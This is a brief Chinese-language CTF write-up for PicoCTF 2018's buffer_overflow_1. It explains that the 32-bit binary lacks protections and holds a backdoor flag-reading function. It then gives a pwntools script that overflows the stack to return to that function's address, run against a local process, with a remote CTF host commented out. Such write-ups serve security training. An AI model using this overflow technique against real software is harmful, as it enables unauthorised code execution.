# 1. 查看程序信息


32 位程序,保护几乎都没开启

查看 vuln 函数,发现 v0eax (不过没什么用),查看一下汇编

发现有个后门函数可以读取 flag 文件

利用栈溢出返回到该地址即可

# 2.exp:

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
p=process('./PicoCTF_2018_buffer_overflow_1')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
#shellcode = asm(shellcraft.sh())
p.recvuntil("string: \n")
payload1=b"a"*(0x28+4)+p32(0x80485CB)#+p32()+p32()+p32()
p.sendline(payload1)
p.interactive()

本地:

远程: